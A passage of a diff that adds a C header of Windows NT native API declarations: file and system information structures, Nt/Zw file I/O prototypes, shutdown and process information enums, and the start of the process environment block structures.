_SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + ULONG PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION { + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; +*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength + ); + +//------------------------------------------------------------------------------ +// Shutdown system + +typedef enum _SHUTDOWN_ACTION +{ + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff + +} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION; + + +NTSYSAPI +NTSTATUS +NTAPI +NtShutdownSystem( + IN SHUTDOWN_ACTION Action + ); + +//----------------------------------------------------------------------------- +// File functions + +#ifndef OLD_DOS_VOLID +#define OLD_DOS_VOLID 0x00000008 +#endif + +#ifndef FILE_SUPERSEDE +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 +#endif // File create flags + + +// Define the create/open option flags +#ifndef FILE_DIRECTORY_FILE +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 +#endif // FILE_DIRECTORY_FILE + + +// +// Define the I/O status information return values for NtCreateFile/NtOpenFile +// + +#ifndef FILE_SUPERSEDED +#define FILE_SUPERSEDED 0x00000000 +#define FILE_OPENED 0x00000001 +#define FILE_CREATED 0x00000002 +#define FILE_OVERWRITTEN 0x00000003 +#define FILE_EXISTS 0x00000004 +#define FILE_DOES_NOT_EXIST 0x00000005 +#endif + + +#ifndef PIO_APC_ROUTINE_DEFINED +typedef +VOID +(NTAPI *PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); +#define PIO_APC_ROUTINE_DEFINED +#endif // PIO_APC_ROUTINE_DEFINED + + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 wdm + FileStandardInformation, // 5 wdm + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, // 8 + FileNameInformation, // 9 + FileRenameInformation, // 10 + FileLinkInformation, // 11 + FileNamesInformation, // 12 + FileDispositionInformation, // 13 + FilePositionInformation, // 14 wdm + FileFullEaInformation, // 15 + FileModeInformation, // 16 + FileAlignmentInformation, // 17 + FileAllInformation, // 18 + FileAllocationInformation, // 19 + FileEndOfFileInformation, // 20 wdm + FileAlternateNameInformation, // 21 + FileStreamInformation, // 22 + FilePipeInformation, // 23 + FilePipeLocalInformation, // 24 + FilePipeRemoteInformation, // 25 + FileMailslotQueryInformation, // 26 + FileMailslotSetInformation, // 27 + FileCompressionInformation, // 28 + FileObjectIdInformation, // 29 + FileCompletionInformation, // 30 + FileMoveClusterInformation, // 31 + FileQuotaInformation, // 32 + FileReparsePointInformation, // 33 + FileNetworkOpenInformation, // 34 + FileAttributeTagInformation, // 35 + FileTrackingInformation, // 36 + FileIdBothDirectoryInformation, // 37 + FileIdFullDirectoryInformation, // 38 + FileValidDataLengthInformation, // 39 + FileShortNameInformation, // 40 + FileIoCompletionNotificationInformation, // 41 + FileIoStatusBlockRangeInformation, // 42 + FileIoPriorityHintInformation, // 43 + FileSfioReserveInformation, // 44 + FileSfioVolumeInformation, // 45 + FileHardLinkInformation, // 46 + FileProcessIdsUsingFileInformation, // 47 + FileMaximumInformation // 48 +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + + +typedef struct _FILE_STANDARD_INFORMATION { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; + + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + + +typedef struct _FILE_OBJECTID_INFORMATION +{ + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_INFORMATION { + ULONG NextEntryOffset; + LONGLONG ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION; + +typedef struct _FILE_LINKS_INFORMATION { + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_INFORMATION Entry; +} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION; + + + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, // 2 + FileFsSizeInformation, // 3 + FileFsDeviceInformation, // 4 + FileFsAttributeInformation, // 5 + FileFsControlInformation, // 6 + FileFsFullSizeInformation, // 7 + FileFsObjectIdInformation, // 8 + FileFsDriverPathInformation, // 9 + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer, + IN ULONG EaLength); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer, + IN ULONG EaLength); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileName OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileName OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList OPTIONAL, + IN ULONG EaListLength, + IN PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList OPTIONAL, + IN ULONG EaListLength, + IN PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length); + + +NTSYSAPI +NTSTATUS +NTAPI +NtReadFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwReadFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteFile( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteFile( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushBuffersFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event, + IN PIO_APC_ROUTINE ApcRoutine, + IN PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer, + IN ULONG InputBufferLength, + IN PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event, + IN PIO_APC_ROUTINE ApcRoutine, + IN PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer, + IN ULONG InputBufferLength, + IN PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtCancelIoFile( + IN HANDLE Filehandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelIoFile( + IN HANDLE Filehandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U ( + IN PWSTR DosPathName, + OUT PUNICODE_STRING NtPathName, + OUT PWSTR * NtFileNamePart OPTIONAL, + OUT PCURDIR DirectoryInfo OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Process functions + +#define GDI_HANDLE_BUFFER_SIZE 34 + +// +// Process Information Classes +// + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +// +// Thread Information Classes +// + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, // ?? + ThreadTimes, + ThreadPriority, // ?? + ThreadBasePriority, // ?? + ThreadAffinityMask, // ?? + ThreadImpersonationToken, // HANDLE + ThreadDescriptorTableEntry, // ULONG Selector + LDT_ENTRY + ThreadEnableAlignmentFaultFixup, // ?? + ThreadEventPair, // ?? + ThreadQuerySetWin32StartAddress, // ?? + ThreadZeroTlsCell, // ?? + ThreadPerformanceCount, // ?? + ThreadAmILastThread, // ?? + ThreadIdealProcessor, // ?? + ThreadPriorityBoost, // ?? + ThreadSetTlsArrayAddress, // ?? + MaxThreadInfoClass +} THREADINFOCLASS; + + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; + +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters + ULONG Length; // Length of valid structure + ULONG Flags; // Currently only PPF_NORMALIZED (1) is known: + // - Means that structure is normalized by call RtlNormalizeProcessParameters + ULONG DebugFlags; + + PVOID ConsoleHandle; // HWND to console window associated with process (if any). + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32" + UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files. + UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image. + UNICODE_STRING CommandLine; // Command line + PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment) + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; // Fill attribute for console window + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20]; + +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +// +// Process Environment Block +// + +typedef struct _PEB_FREE_BLOCK +{ + struct _PEB_FREE_BLOCK *Next; + ULONG Size; + +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + 